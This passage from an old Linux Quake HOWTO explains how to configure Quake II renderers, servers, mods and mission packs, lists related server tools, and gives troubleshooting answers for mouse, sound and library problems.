For security reasons, there is a quake2.conf file, which tells Quake II where to find the rendering libraries (ref_*.so) it needs. It contains only one line, which should be the path to your Quake II installation. Quake II looks for this file in /etc. If you installed Quake II from an .rpm file, this file was installed for you. If you installed from a .tar package, you need to create it like so:

     su root
     cd /usr/local/games/quake2
     pwd > /etc/quake2.conf
     chmod 644 /etc/quake2.conf

3.5 The X Renderer

Quake II should be ready to run under X now. Give it a try:

     cd /usr/local/games/quake2
     ./quake2 +set vid_ref softx

If all is well, after a pretty significant pause, a small Quake II window will appear with the first demo running in it. You should hear sound effects and possibly music, if your CD is in the drive. If any of this fails to occur, please see section Troubleshooting for help.

3.6 The SVGAlib Renderer ++

You need SVGAlib installed and configured if you're going to use either the ref_soft or ref_gl renderers. (Quake II uses SVGAlib to process keyboard and mouse input, in case you're wondering why you'd need it for the GL renderer). SVGAlib comes with most modern distributions, and must be properly configured before Quake II will run correctly outside of X.

libvga.config is SVGAlib's configuration file. On most systems you'll find it in either /etc or /etc/vga. Make sure the mouse, monitor, and video card settings in this file are correct for your system. See the SVGAlib documentation for more details.

If you don't already have SVGAlib on your system, download it from the location mentioned in the files section above.

You should run Quake II from a virtual console when using the ref_soft or ref_gl renderers. It won't run from X unless you're root when you start it, and that's not advisable. So if you're in X, do a CTRL+ALT+F1, login and then:

     cd /usr/local/games/quake2
     ./quake2 +set vid_ref soft

Running SVGA and GL games from X in the Tips & Tricks section below explains how to launch SVGA and GL Quake II from X without manually switching to a virtual console.

3.7 The OpenGL Renderer

Hardware-accelerated OpenGL Quake is Quake the way God intended it to be. There is no substitute, and once you've experienced it there's no going back.

To run Quake II in GL mode, you need a 3D card with the Voodoo, Voodoo2 or Voodoo Rush graphics chipset on it. There are specific issues to be dealt with if you have a Voodoo Rush card, and I won't go into them now because frankly, I wouldn't know what I was talking about. A future version of this HOWTO will cover Rush issues (If somebody wants to write about Voodoo Rush issues, I'll gladly include it here).

The SVGAlib, Glide, and Mesa libraries must all be installed and configured properly on your system for quake2 to work. The following sections will very briefly cover what you need to do to get them going.

Bernd Kreimeier's ( bk@gamers.org) Linux 3Dfx HOWTO ( http://www.gamers.org/dEngine/xf3D/howto/3Dfx-HOWTO.html) is good source for further information.

The 3dfx.glide.linux newsgroup on the 3dfx news server (news.3dfx.com) is another good source of information about the intersection of Linux, glide, Mesa and Quake.

SVGAlib

Quake II uses SVGAlib to get input from the mouse and keyboard, so you'll need to configure it as outlined in section SVGAlib Renderer.

Glide ++

Glide is a library that provides an API for programming 3Dfx based cards. If you want the Mesa graphics library to use your 3Dfx card, you've gotta have it.

Do NOT use the Linux Glide library distributed at 3Dfx's web site. It's more than a year out of date. You're bound to have problems if you try to use it. The latest version of glide can always be found at http://glide.xxedgexx.com/3DfxRPMS.html. Select the package(s) appropriate for your system, and install according to the instructions on the web page.

Note that unless you download the 3Dfx device driver package in addition to the Glide library, you will only be able to run Glide applications (like Quake II) as root. Install the /dev/3dfx module and you can play Quake II as a regular user. PentiumPro/Pentium II users have an additional incentive for downloading this driver: it can dramatically increase your framerate. The driver enables support for MTRRs, a memory-caching feature of these CPUs. See http://glide.xxedgexx.com/MTRR.html for a better explanation of this feature.

Once you have glide installed, try out the test program that comes with it. Remember this program: it's a good way to reset your display if you ever have a glide application (like Quake II) crash and leave your screen switched off. NOTE: run this test from a VC, not X! It's possible for the test app to lose mouse and keyboard focus in X, and then you'll have no way of shutting it down.

     /usr/local/glide/bin/test3Dfx

Your screen should turn blue and prompt you to hit any key. After you press a key you should be returned to the prompt. 3dfx.glide.linux on 3dfx's news server (news.3dfx.com) is a great source of information for Linux glide-specific problems.

Mesa **

Once glide's installed, you need to install Mesa, a free OpenGL implementation by Brian Paul (brianp@elastic.avid.com). Luckily, you won't have to look far, because Mesa 2.6 is included with the Quake II binaries. All you have to do is move it to the right place:

     cd /usr/local/games/quake2
     cp libMesaGL.so.2.6 /usr/local/lib
     ldconfig

The RedHat distribution comes with a (IMO) broken ld.so configuration. /usr/local/lib is not part of ld.so's search path by default, so anything you install there won't get used. You can remedy the situation by adding the line /usr/local/lib to your /etc/ld.so.conf file, or including /usr/local/lib in your $LD_LIBRARY_PATH. Alternatively, you could install all new libraries someplace like /lib, but this approach seriously offends my tidy nature.

If you want to upgrade Mesa to a more recent version (Mesa 3.0 is the most recent version as of this writing), you can download the latest from ftp://iris.ssec.wisc.edu/pub/Mesa If you have a RedHat 5.x or other glibc-based Linux distribution, see Glibc, RedHat 5.x, Debian 2 considerations in the Troubleshooting/FAQs section for important information about compiling libraries for Quake.

After you've built it according to the instructions, you will have to do two things:

  • Remove your old Mesa installation. If you previously installed a libMesaGL.so.2.6 as described above, you must remove it or Quake II may not use the new version.
         cd /usr/local/lib/
     rm -f libMesaGL.so.2*
  • If the new Mesa has a major version number that's greater than 2, you need to create a link to it with the name libMesaGL.so.2:
         cd /usr/local/lib/
     ln -s /wherever/you/installed/it/libMesaGL.so.3.0 libMesaGL.so.2
     ldconfig

lib3dfxgl.so **

With Quake II version 3.19, an alternative to the Mesa library is available. lib3dfxgl.so is a mini-GL driver optimized for Quake that provides better framerates than Mesa. This is a port of a driver that 3Dfx developed for Quake under Windows. It's included in the Quake II package, and there's no reason you shouldn't use it.

Like Mesa, lib3dfxgl.so requires that the Glide library be installed in order to access your 3Dfx card.

Choosing a GL driver **

With version 3.20, using this driver instead of Mesa is much easier than it was previously. There's a new CVAR, gl_driver that you set to indicate which GL driver quake2 should use. To run with the lib3dfxgl.so driver, do:

     ./quake2 +set vid_ref gl +set gl_driver lib3dfxgl.so

To run with Mesa, do:

     ./quake2 +set vid_ref gl +set gl_driver libMesaGL.so

Note that the .so files you refer to must exist in your quake2 directory. A symbolic link is fine if, say, your Mesa library is in /usr/local/lib and you don't want to have two copies around.

3.8 The GLX Renderer ++

ref_glx.so is linked against standard OpenGL libraries instead of Mesa. This allows Quake II to run on other 3D hardware that is supported by other OpenGL implementations. At this time, I dont' know of any OpenGL implementations that support hardware other than 3Dfx, but this renderer ensures that when they appear, we'll be able to play Quake II with them.

Use of the GLX interface also removes GL Quake II's dependency on SVGAlib for keyboard and mouse input.

This is a GLX application, and as such, must be run from X.

You can use this client with Mesa/3Dfx if you install Mesa and Glide as explained in the previous section, then set the $MESA_GLX_FX environment variable to "fullscreen" before you run quake2:

     export MESA_GLX_FX=fullscreen
     ./quake2 +set vid_ref glx +set _windowed_mouse 1

Why the +set _windowed_mouse 1 option? Remember that this is an X application which happens to use your 3Dfx card. Even though the display takes up your entire screen, Quake II is stil running in a window. This means that if you're not very careful, you could move the mouse pointer outside the Quake II window, and Quake II will suddenly stop responding to mouse and keyboard input. +set _windowed_mouse 1 avoids this problem by telling quake2 to grab the mouse and not let it move outside its window.

3.9 Linux-Specific Command Line Options

This section will cover command line options that are specific to the Linux version of Quake II. There are plenty of other Quake II options, but they're beyond the scope of this HOWTO. Check out some of the sites listed in section General Quake Information for this kind of information.

These are actually cvars (client variables) that you can set in the Q2 console, but it makes the most sense to set them on the command line. Set them with +set on the command line, like:

     ./quake2 +set cd_dev /dev/hdc

cd_dev device

Name of the CD-ROM device.

nocdaudio value

Disable CD audio if value is nonzero

sndbits num

Set sound bit sample size. Default is 16.

sndspeed num

Set sound sample speed. Usual values are 8000, 11025, 22051 and 44100. If set to zero, causes the sound driver to attempt speeds in the following order: 11025, 22051, 44100, 8000.

sndchannels num

Indicates stereo or mono sound. Defaults to 2 (stereo). Use 1 for mono.

nostdout value

Don't do any output to stdout. Use this if you don't want all the console output dumped to your terminal.

3.10 Quake II Servers ++

Linux's strength as an internet server make it a perfect platform for running an internet Quake II server. This section will touch on the basics and Linux-specific aspects of starting up a Quake II server. Try http://www.3dgw.com/hellsgates/serverguide.htm for more detailed Quake II server setup information.

Listen Servers

You can start a Quake II "Listen" server from within the game via the Multiplayer menu. This allows you to host a game and participate in it at the same time.

To start a Listen server, start Quake II, bring up the Quake II menu with the ESC key, and select Multiplayer. It should be pretty self-explanatory from there.

Dedicated Servers

For a permanent, stand-alone Quake II server that needs to run without constant attention, using the Listen server is impractical. Quake II has a Dedicated server mode that is better suited to this type of use. A dedicated server is started from the command line and uses fewer system resources than a Listen server because it doesn't start the graphical client piece at all.

To start a dedicated server, use the command line option +set dedicated 1. You can set additional server parameters either on the command line or in a config file that you +exec on the command line. Your config file should reside in the baseq2 directory.

A few common server options are listed below. To set options on the command line, do +set fraglimit 30. Options are set the same way in a config file, only you don't want the + before the set. Invoke your config file like this: +exec server.cfg.

fraglimit

Number of frags required before the map changes

timelimit

Time in minutes that must pass before the map changes

hostname

The name of your Quake II server. This is an arbitrary string and has nothing to do with your DNS hostname.

maxclients

The maximum number of players that can connect to the server at once.

For enough Quake II console and command line information to choke a horse, see Farenheit 176 ( http://www.planetquake.com/f176).

Other Sources of Server Information

  • The Q2 Server FAQ has a basic step-by-step guide to set up a Q2 Server under Linux: http://www.bluesnews.com/faqs/q2s-faq.html
  • Grant Cornelius Reticulus Copernicus Sperry ( flubber@xmission.com) has some basic Q2 server config files and startup scripts at http://www.atomicage.com:80/quake/server/server_cfg/.

3.11 Mods & Addons

Quake II modifications like Capture the Flag, Jailbreak, and Lithium II are very popular extensions of the original Quake II game. Some mods reside entirely on the server (Lithium), and some also require changes to your client (CTF). For server only mods, you just connect normally and play. Client-side mods require you to install additional files in your quake2 directory before you can play.

Client Side Mods

Generally, installation of a client-side mod consists of just downloading the client package and upacking it in your Quake II directory, but you should refer to the mod's documentation for specific details. It may be necessary to download a Linux-specific package in addition to the main (Windows) client package. Also be aware that all mods may not be available for Linux.

Client-side mod packages usually contain a new gamei386.so file and one or more .pak files. Other new files may be included as well. These new files will be installed in a subdirectory below your Quake II directory. Use +set game mod-dir on the command line to run the mod. Rocket Arena 2, for example, gets installed in a directory called arena. To play RA2, your would start your client like so:

      ./quake2 +set game arena

Capture the Flag

Since this is by far the most popular variation of multiplayer Quake II, I've included specific instructions for installing this mod. Capture the Flag for Quake II is available from id's ftp site. Download it, then install like so:

     cd /usr/local/games/quake2
     mkdir ctf
     cd ctf
     unzip -L /wherever/you/put/it/q2ctf102.zip

Start Quake II with +set game ctf to play CTF.

Server Side Mods

Running a Quake II mod on a server isn't much different than running one on the client side. Generally you'll need to install gamei386.so and server.cfg files in a new subdirectory and then start your server like

     ./quake2 +set game XXXX +set dedicated 1 +exec server.cfg
Where XXXX above is the name of the mod's new subdirectory. The exact procedure will vary from mod to mod, of course. See the mod's documentation for specific details.

Game Source ++

The entire game, with the exception of the engine itself, resides in a shared library, gamei386.so. Quake II mods are created by changing the contents of this file. The C source is freely available (section Download the Necessary Files above) for anyone to download and modify.

After you've downloaded the source, here's how to get started with it:

      cd /usr/local/games/quake2
      mkdir mymod
      cd mymod
      gunzip /wherever/you/put/it/q2src320.shar.Z
      sh /wherever/you/put/it/q2src320.shar

You'll be presented with a bunch of legalese that you must answer yes to, then the game source will be extracted. Building a new gamei386.so out of these sources is accomplished with a simple make. You can run Quake II with the newly compiled library like so:

      cd /usr/local/games/quake2
      ./quake2 +set game mymod

Not too exciting yet, since what you just built is identical to the "stock" gamei386.so, but this should be good information for aspiring mod authors.

Mission Packs

  • Mission Pack 1: The Reckoning The Reckoning requires Quake II version 3.15 or later to run. You'll need at least 95 MB for a minimum installation. Another 90 MB are required if you want to install the video sequences as well. Assuming your CD is mounted on /mnt/cdrom and Quake II is installed in /usr/local/games/quake2:
         cd /usr/local/games/quake2
     cp -r /mnt/cdrom/Data/all/* xatrix/
     rm -f xatrix/gamex86.dll
    If you want to install the video sequences:
         cp -r /mnt/cdrom/Data/max/xatrix/video xatrix
    Play The Reckoning like this:
         cd /usr/local/games/quake2
     ./quake2 +set game xatrix
  • Mission Pack 2: Ground Zero It requires Quake II version 3.17 or later to run. You'll need at least 120 MB for a minimum installation. Another 115 MB are required if you want to install the video sequences as well. Assuming your CD is mounted on /mnt/cdrom and Quake II is installed in /usr/local/games/quake2:
         cd /usr/local/games/quake2
     cp -r /mnt/cdrom/Data/all/* rogue/
     rm -f rogue/gamex86.dll
    If you want to install the video sequences:
         cp -r /mnt/cdrom/Data/max/rogue/video rogue
    Play Ground Zero like this:
         cd /usr/local/games/quake2
     ./quake2 +set game rogue


Linux Quake HOWTO: Related Software

 Next Previous Contents

4. Related Software

4.1 QStat

Qstat is a command line based program that returns the status of internet Quake, QuakeWorld, and Quake 2 servers created by Steve Jankowski mailto:steve@activesw.com.

Here's the feature summary from the QStat homepage:

  • Supports Windows 95, NT, and most Unixes
  • Comes with C source code and a binary for Windows
  • Supports old Quake (NetQuake), QuakeWorld, Hexen II, and Quake II servers
  • Can display all available statistics, including player info and server rules
  • Output templates for automatic HTML generation
  • Raw display mode for integration with HTML page generators
  • Built-in host name cache
  • Sort by ping time, game, or both
  • More options than you can wiggle a mouse at

Qstat is a must-have tool if you're planning on doing any net play. A number of front-ends for qstat have been written as well. Some of them are listed later in this section.

You can get the latest version of qstat from the QStat Homepage ( http://www.activesw.com/people/steve/qstat.html).

4.2 XQF

XQF is a graphical front-end to QStat that uses the GTK toolkit. This is the best QuakeWorld/Quake2 server browser that currently exists, and Roman Pozlevich ( roma@botik.ru), is still cranking out revisions at the rate of about one per month.

If you're familiar with GameSpy for the Windows platform, this is the closest thing to it for Linux.

The XQF homepage is at http://www.linuxgames.com/xqf.

4.3 QuickSpy

QuickSpy is a text-based QuakeWorld server browser. It's another front-end to QStat and it works pretty well. If you don't run X and you don't have Quake II, this is a decent option. Beware though, it's no longer under development.

You can get QuickSpy at http://diana.ecs.soton.ac.uk/~rht96r/quake/quickspy/.

4.4 QPlug for Linux

Qplug is a Netscape plugin which retrieves and displays QuakeWorld and Quake II server information embedded in a web page. A Windows Qplug has been around for some time. The author, Olivier Debon ( odebon@club-internet.fr) wrote the Linux version from scratch without ever having seen the Windows version.

QPlug for Linux can be got at http://www.geocities.com/TimesSquare/Labyrinth/5084/qplug.html.

4.5 qkHacklib

David Bucciarelli ( tech.hmw@plus.it), author of the 3Dfx driver for Mesa, has written a library called qkHack, which tries to emulate all the SVGAlib/fxMesa functions used by Quake and Quake II. This would remove the need for SVGAlib when running glquake or Quake II with ref_gl. Other features from the qkHacklib README:

  • You can dynamically switch between fullscreen rendering and the in window rendering just pressing the TAB key (you must start your X server in 16 bpp mode in order to use this feature)
  • You can press Ctrl-C in the shell or kill the Quake process without problems
  • you can enable/disable the mouse and keyboard 'grabbing' pressing F11/F12
  • you can iconify and pause Quake pressing the F10 (it will not eat more CPU cycles). You can restart everything with a double click in the "****" icon
  • you can run Quake with any Mesa driver (for example with the X11 driver but you must recompile the Mesa without the Voodoo driver)
  • you can run Quake under any Linux box and get the hardware acclerated output on a SGI box (OK, this is a bit exotic and theoretical as feature but it is an example of how powerful can be an GLX/OpenGL application)

I've tried qkHacklib and it works great for Quake on my system. In Quake II, however, the mouse response becomes really slow. Others report complete success, though, so give it a try if it sounds like something you need.

David Bucciarelli's qkHacklib web page is at http://www-hmw.caribel.pisa.it/fxmesa/fxqkhack.html.

4.6 GiMd2Viewer

GiMd2Viewer is a Quake 2 model viewer written for Gtk and OpenGL by Lionel Ulmer ( bbrox@mygale.org). It loads models and textures from either plain files or .PAK files. It will also animate the models (with frame interpolation).

This program is still under developement and I haven't tried it yet, but it sounds pretty nifty. Check it out at http://www.mygale.org/~bbrox/GiMd2Viewer/.

4.7 QIPX

QIPX is a set of programs that allow Linux Quake clients (using TCP/IP) to connect with DOS Quake clients (using IPX). I guess this is useful if you're playing netquake on a LAN. QIPX is available at http://www.geocities.com/SiliconValley/Park/6083/qipx.html.

4.8 Ice

Ice is a Quake map editor for UN*X created by C.J. Beyer and John Watson. I haven't used this program, nor do I know what its development status is. The Ice homepage is at http://styx.phy.vanderbilt.edu/~ice/.

4.9 Q2getty

Q2getty is a hack of mingetty by Mike Gleason ( mgleason@ncftp.com) that allows you to automatically run and respawn a program (like a Quake server) on a virtual console. This program is available in the files section at http://www.ncftpd.com/unixstuff/q2getty.html.

4.10 rcon

Rcon is a pair of tools that allow remote administration of a Quake II server using the RCON protocol. Michael Dwyer ( michael_dwyer@mwiworks.com) is the author. Rcon 1.1 is available at http://sunsite.unc.edu/pub/Linux/games/quake/rcon-1.1.tar.gz.

4.11 qlog

Qlog is a GPL'ed QuakeWorld/Quake II server log parser that generates comprehensive player statistics. Craig Knudsen ( cknudsen@radix.net) is the author. The qlog homepage is http://www.radix.net/~cknudsen/qlog/.

4.12 Cheapo

Cheapo is a proxy that can be used to route QuakeWorld network traffic. Additionally, the proxy can modify the data and has features for enhancing gameplay. You can connect to cheapo as if it were a Quakeworld server, and then give it commands that forward you to a real server. The proxy can also be run on a firewall machine incapable of handling Quake traffic, so that machines inside the firewall can be used for playing. The Cheapo homepage is at http://www.saunalahti.fi/~softech/.

4.13 qgraph

QGraph (Quake Graph) is a utility to help people in managing Quake's DeathMathes, turnments and Quakeworld games. QGraph is a program who connects (via Lan or the Internet) to a Quake, QuakeII, Quakeworld and Hexen2 Servers and shows you realtime data about the game running on that server. The QGraph homepage is at http://www.frag.com/qgraph.

4.14 Vispatch ++

Vispatch is a utility that patches your Quake 1/QuakeWorld levels to support transparent water. This Windows utility has been around almost since the dawn of GLQuake, but just recently (to my knowledge) a Linux version has surfaced. The WaterVis homepage is at http://www.sod.net/vis. You can download the Linux version of the Vispatch utility at http://www.sod.net/vis/files/unixvis.zip.

4.15 GStat ++

GStat is a server query tool by Aaron Levinson based on QStat, but with some unique extra features. From the GStat homepage: GStat (GameStat) is a utility for querying Quake, Quakeworld, Quake II and Hexen II servers. It has three main functions:

1.Displays statistics for Quake-based servers 2.Functions as a remote server administration tool 3.Console-based server browser for finding a server to play on

Find out more at http://www.ews.uiuc.edu/~alevinsn/gstat.html.

4.16 QuakeLaunch ++

QuakeLaunch is a nice, simple Quake server browser that you can run in the console. It's based on qstat by Steve Jankowski. If you can't or don't want to use an X-based server browser like XQF, this is a good alternative. The QuakeLaunch homepage is at http://www.linuxgames.com/qlaunch.

4.17 QPLog ++

The Quake Player Log is a master/client Perl program that keeps track of player statistics. The object of this program is similar to what the original QuakeWorld attempted. Server logs are sent to the central QPLog master, which keeps track of player statistics and ranks players according to a number of factors. http://junior.ece.ucdavis.edu/qplog/


Linux Quake HOWTO: Troubleshooting/FAQs

 Next Previous Contents

5. Troubleshooting/FAQs

5.1 General

OS difference considerations

  • Case sensitivity - In DOS and Windows, case is not important. BASE1.TXT is the same as base1.txt is the same as Base1.Txt. Under Linux and other unices, case IS significant. MOTD.TXT and motd.txt are different files. This can cause problems with player models and skin files if they're installed with upper- or mixed-case filenames. players/male/santa.PCX needs to be renamed to santa.pcx in order for the Santa skin to be visible in Linux. The fixskins.sh script included with quakeworld will convert all filenames in a directory to lowercase. It's reproduced below for your convenience:
         #!/bin/sh
     for x in *; do
        y=`echo $x | tr '[A-Z]' '[a-z]'`
        if [ $x != $y ]; then
           mv $x $y
        fi
     done
  • Path delimiters - DOS and Windows use the backslash "\" character to separate file pathname elements. In Unix, the backslash is an escape character. Quake and Quake2 for Windows recognize both "\" and "/" as valid path delimiters, so if you use file pathnames in your config files (or your mod code, or anywhere else, for that matter), be sure you're using "/" and not "\".
  • End of line characters - Under DOS/Windows, each line of a text file ends with a carriage return character (CR) and a linefeed character (LF). Unix textfiles just have a linefeed at the end of each line. Using DOS/Win formatted textfiles in Unix can cause all kinds of mysterious Quake problems. For example, the incorrectly formatted quake2.conf file from the Quake2 3.17 package generated the error "LoadLibrary("ref_XXX.so") failed: No such file or directory". LMCTF-TE reports a floating point exception. If you've got an problem you can't explain, try removing the CRs from your text files:
         mv file.txt file.bak; tr -d '\r' < file.bak > file.txt

Glibc, RedHat 5.x, Debian 2 considerations (for Quake 1 only)++

[The following applies to the Quake I binaries (squake, glquake, and quake.x11) only. As of versions 2.30 and 3.19 respectively, QuakeWorld and Quake II are available in both libc5 and glibc versions.]

The Quake executables were compiled with libc5. Newer Linux distributions like RedHat 5.1 and Debian 2.0 use the incompatible libc6 (or glibc) as their default C library. If you're running Quake on a glibc system, there are a few things to watch out for:

  • Both RedHat 5 and Debian 2 have libc5 compatibility packages that allow you to run libc5-based applications. Make sure you have these packages installed. Both distributions put the libc5-based libraries in /usr/i486-linux-libc5/lib.
  • Make sure Quake uses the correct libraries. Create a script like the one below that points $LD_LIBRARY_PATH to your compatibility libraries directory before it runs Quake.
         #!/bin/sh
     export LD_LIBRARY_PATH=/usr/i486-linux-libc5/lib
     ./quake2 +set vid_ref gl $*
  • If you are going to compile a library like SVGAlib or Mesa for use with Quake, it must be compiled with libc5 and friends. Simply building a new library according its installation instructions will result in a library that is linked against your default library, glibc. You must ensure your new library is linked only with libc5 and libc5-based libraries so it will be compatible with Quake. See your distribution's documentation for information on linking to the non-default libraries.

My mouse doesn't work or seems to respond randomly. **

  • Is gpm running? gpm is a program that enables you to cut and paste with the mouse in virtual consoles. Many distributions enable it by default. It may be interfering with Quake. Check if it's running with the following command:
         ps aux | grep gpm
    If you get output like
         root      6115  0.0  0.4   832   316  ?  S   17:54   0:00 gpm -t PS/2
    then gpm is running and interfering with Quake. gpm -k (as root) ought to stop gpm. If it doesn't (gpm -k doesn't always work on my system), kill gpm with the command killall gpm. If you never use gpm, you may want to stop it from running at startup. See the documentation for your distribution for information on how to do this.

  • Is your mouse defined properly in libvga.config? This file usually lives in /etc or /etc/vga. Open it up and look for a line like
         mouse Microsoft
    On my system, this is the first option in the file. Make sure the mouse type is appropriate for your hardware.

  • Do you have RW permissions for your mouse device? The permissions of your mouse device may only allow you read access to it. Quake wants to open it read-write, so you'll need to either do a chmod 666 to it, or run as a user or group that's allowed to read and write to it. The actual device file in question will vary according what type of mouse you have on your system. Most of the time, /dev/mouse is a symbolic link to your actual mouse device file, so doing an ls -l /dev/mouse should allow you to find which device file to modify.

My Microsoft Intellimouse or Logitech MouseMan+ isn't working correctly.

SVGAlib, which handles mouse input for SVGA and GL Quake/QW/Q2, didn't directly support the Intellimouse until version 1.3.0. If you have a version of SVGAlib prior to 1.3.0, you should upgrade, then use mouse type IntelliMouse (for serial mice) or IMPS2 (for PS/2 mice) in your libvga.config file.

My mouse is "laggy" and seems much slower than under Windows.

  • For many people, just cranking up the value of sensitivity in the game console cures the problem. Setting sensitivity by hand in the console or in a .cfg file allows you to increase the mouse sensitivity more than the slider in the Options menu allows. sensitivity 15, for example.
  • From Zoid's 1/7/98 .plan update:
    If you are experience video 'lag' in the GL renderer (the frame rate feels like it's lagging behind your mouse movement) type "gl_finish 1" in the console. This forces update on a per frame basis.
  • The latest version of SVGAlib (1.3.0) provides a slew of parameters in libvga.config that you can use to customize the behavior of your mouse. With the proper settings it should be possible to make your mouse feel any way you want. On my system, just changing mouse_accel_type to normal (default is power) gave me the results I wanted. I haven't messed with the other settings, and I don't pretend to have a clue about what they all do.

I have a Voodoo2, and when I try to run with the gl renderer it reports that I don't have a Voodoo card installed.

There are different versions of Glide for Voodoo and Voodoo 2 cards. Be sure you downloaded the correct one for your system.

When I'm playing any of the Quake games under SVGAlib or GL and press CTRL-C, the game exits and sometimes leaves my console in an unusable state.

Sometimes when Quake/Quake II exits abnormally, it leaves my console unusable.

Yes. This bites. SVGAlib catches the CTRL-C and decides what to do with it instead of allowing Quake to handle it. I know of no way around this short of hacking SVGAlib.

If you run your Quake games from a script that resets the keyboard and terminal like the one below, you'll run less chance of ending up with a hosed terminal if this does happen, though.

     #!/bin/sh
     ./quake2 $*
     kbd_mode -a
     reset

squake/quake2 fails to start and says "svgalib: cannot get I/O permissions"

The Quake executables must run as root when using the SVGAlib renderer, so you must either run them as root or make them setuid root. See the installation instructions in this document for details.

Sometimes after playing one of the Quake games in X, key repeat doesn't work any more.

For some reason, the X11 versions of Quake disable key repeat while they're running. If the program exits abnormally for some reason, key repeat never get turned back on. Do

     xset r on
to reenable it.

Quake/Quake II says "/dev/dsp : device not configured"

Your sound hardware is not properly configured. You may simply need to do a insmod sound, or it may be necessary to rebuild your kernel. RedHat users may need to invoke the sndconfig(8) utility. See the documentation for your Linux distribution and/or the Linux Sound HOWTO for information on configuring your system's sound hardware.

GL Quake/Quake II run slower in Linux than in Windows. ++

The Windows 3Dfx GL miniport is heavily optimized for the things Quake II does. Mesa on the other hand, is more general and less optimized As a result, Linux Quake II runs slower than under Windows. This isn't a limitation of Linux, but a limitation of the current drivers.

With the most recent releases of QuakeWorld and Quake II, the 3Dfx miniport mentioned above is available for Linux. Also, in Quake II version 3.20, the OpenGL function handling code was completely rewritten, resulting in significant speedups.

Additionally, for Pentium Pro and Pentium II users, there are some tweaks than can be done with memory buffering - the latest /dev/3dfx device driver has support for automatically setting this up for you. Enabling MTRRs can result in significant (10 fps on my system) GL Quake speedups. See http://glide.xxedgexx.com/MTRR.html for some more detailed information about this.

On a PPro/PII system with a Voodoo2, performance under Linux is now at least as fast as under Windows.

How can I start a server and log off, then come back to it later?

screen(1) is a great utility for this sort of thing. It allows you to create many virtual screens in one tty and switch between them. Screen comes with most distributions. You can download it from ftp://prep.ai.mit.edu/pub/gnu or any GNU mirror.

Start screen by typing the command screen, then create a new screen window by pressing CTRL-A CTRL-C. You won't see much as you do these things, but be assured, something is happening.

Start a Quakeworld server:

     /usr/local/games/quake/qwsv

Now open a new screen window with CTRL-A CTRL-C and start up a Quake II server:

     /usr/local/games/quake2/quake2 +set dedicated 1

You can switch back and forth between your servers by pressing CTRL-A CTRL-N.

Press CTRL-A CTRL-D to detach from the screen program. Screen and your servers are still running, but they're no longer visible in your terminal window. You can logoff now and your processes will continue to run normally.

Use screen -r to re-attach to your previous screen process and access your servers again.

That's all there is to it. See the screen(1) man page for more detailed information.

How can I keep the mouse from leaving the window in X? ++

From the Quake II readme.linux file (this applies to all version of Quake):

By default, the mouse will not be 'tied' to the Quake2 window. To cause Quake2 to grab the mouse, select 'Windowed Mouse' from the video menu, or type '_windowed_mouse 0' at the console. Do the reverse to release it. You can bind keys to grab and release the mouse in the console, like so: bind i "_windowed_mouse 1" bind o "_windowed_mouse 0" Then "i" will grab the mouse and "o" will release it.

When I run Quake/QuakeWorld/Quake II under X, the image only takes up half the window and/or the colors are all funny. ++

The X clients only support color depths of 8 and 16 bits per pixel. Your X server is probably running at 24 or 32 bpp. Change the default color depth to 16 bpp and this problem will go away.

Where can I get the source code for Quake/QuakeWorld/Quake II so I can compile it for PPC/Alpha/Gameboy/etc? ++

The source code for the Quake engines is the proprietary property of id Software. While there's a good chance that id will release the source to Quake eventually like they did for Wolfenstein 3-D and Doom, they have not done so yet. I don't have the source to Quake no matter how nicely you ask me for it.

5.2 Quake/QuakeWorld

Quake dies at startup with a segmentation fault.

This usually means your network setup isn't right. Try starting quake with the -noudp option and see if the error goes away. If that fixes it, check your /etc/hosts file and verify there's an entry for your machine in it. Use 127.0.0.1 for your IP address if you have a dialup account that gives you a different address each time you connect.

What's the difference between glqwcl, glqwcl.3dfxgl, and glqwcl.glx?

  • glqwcl is the standard GL Quakeworld client you've seen in previous versions. It's linked against libMesaGL.so.2.
  • glqwcl.3dfxgl is a script that runs glqwcl after preloading the 3Dfx GL miniport library, lib3dfxgl.so. Preloading the minport library causes its GL functions to get used instead of Mesa's. Since the GL minport is optimized for Quake, this is a good thing.
  • glqwcl.glx is linked against standard OpenGL libriaries instead of Mesa. This will allow glquake to run on other 3D hardware that is supported by some other OpenGL implementation. This is an X application and so must be run from X.

When I run glqwcl.glx fullscreen from X, I can't use my mouse or keyboard.

Run glqwcl.glx with the +_windowed_mouse 1 option. GLX Quakeworld is running in a window, even though it appears to take up your whole screen. If you move the mouse while the window manager is in focus-follows-mouse mode, you're likely to move the pointer outside this window, and then Quake will stop responding to mouse and keyboard input. +_windowed_mouse 1 makes Quakeworld grab the mouse exclusively.

5.3 Quake II

When I try to run Quake II with the GL renderer, it fails and says "LoadLibrary("ref_gl.so") failed: Unable to resolve symbol"

If immediately prior to the "Unable to resolve symbol" line, you have messages like "can't resolve symbol 'fxMesaCreateContext'", your Mesa library doesn't have glide support compiled in. See section The GL renderer in the Quake II installation section for information on installing Mesa and glide.

Quake II fails with the message LoadLibrary("ref_XXX.so") failed: No such file or directory

  • /etc/quake2.conf doesn't have the correct path to your Quake II directory in it. This file should contain one line that is the directory Quake II lives in.
  • If /etc/quake2.conf does contain the correct path, try removing the file and re-creating it by hand. Some versions of Quake II for Linux included an incorrectly formatted quake2.conf file.
  • Do you have SVGAlib installed? Check /lib, /usr/lib and /usr/local/lib for a file called libvga.so.1.X.X, where the X's are some numbers. If nothing turns up, you need to get and install SVGAlib to run Quake II outside of X.
  • If the renderer in question is ref_gl.so, Mesa may not be properly installed. Did you copy libMesaGL.so.2.6 to a library directory like the installation instruactions told you to?
  • If the renderer in question is ref_gl.so, did you install the glide libraries?

When I update the brightness while using the GL renderer, and hit "apply," nothing happens!

Type vid_restart in the console to make the changes take affect.

Note about the 3.17 distribution

As of this writing, the most recent Quake II version is 3.20. If for some reason, you're running version 3.17 instead, the following information may be helpful to you.

Two text files (quake2.conf and fixperms.sh) in the 3.17 distribution were inadvertently saved in MS-DOS CR/LF text-file format instead of the unix LF format. This means there's an extra carriage return character at the end of each line in these files and they're not going to behave right until you fix them.

We'll run them through tr(1) to strip out the CR's.

     for i in fixperms.sh quake2.conf
     do
     mv $i $i.bak
     tr -d '\r' < $i.bak > $i
     done

When I run Quake II with +set vid_ref glx fullscreen from X, I can't use my mouse or keyboard.

Run GLX quake2 with the +set _windowed_mouse 1 option. GLX Quake2 is running in a window, even though it appears to take up your whole screen. If you move the mouse while the WM is in focus-follows-mouse mode, you're likely to move the pointer outside this window, and then Quake II will stop responding to mouse and keyboard input. +set _windowed_mouse 1 makes Quake II grab the mouse exclusively.

Why can't I change to some of the SVGA modes that are in the Quake II Video menu?

